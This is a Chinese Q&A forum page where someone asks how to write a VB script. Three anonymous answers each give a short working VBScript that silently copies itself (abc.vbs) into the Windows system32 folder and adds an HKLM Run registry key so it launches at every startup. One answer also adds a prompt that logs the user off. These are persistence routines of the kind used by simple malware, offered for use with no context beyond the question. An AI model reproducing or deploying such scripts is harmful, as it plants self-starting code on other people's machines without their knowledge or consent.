VB脚本怎么写啊?
发布网友
发布时间:2022-04-21 08:56
我来回答
共3个回答
热心网友
时间:2023-09-11 01:24
set r=createobject("wscript.shell")
r.run "cmd /c copy abc.vbs %systemroot%\system32",0
r.regwrite "HKLM\software\microsoft\windows\currentversion\run\abc","abc.vbs","REG_SZ"
热心网友
时间:2023-09-11 01:25
set r=createobject("wscript.shell")
r.run "cmd /c copy abc.vbs %systemroot%\system32",0
r.regwrite "HKLM\software\microsoft\windows\currentversion\run\abc","abc.vbs","REG_SZ"
'''以下选用
v=msgbox ("是否注消查看?",vbyesno,"by ★hkmfk")
if v=vbyes then r.run "cmd /c shutdown -l -t 0",0
热心网友
时间:2023-09-11 01:25
set w=createobject("wscript.shell")
set p=w.environment("process")
set f=createobject("scripting.filesystemobject")
f.copyfile "abc.vbs",p("systemroot")&"\system32\abc.vbs"
w.regwrite "HKLM\software\microsoft\windows\currentversion\run\abc",p("systemroot")&"\system32\abc.vbs","REG_SZ"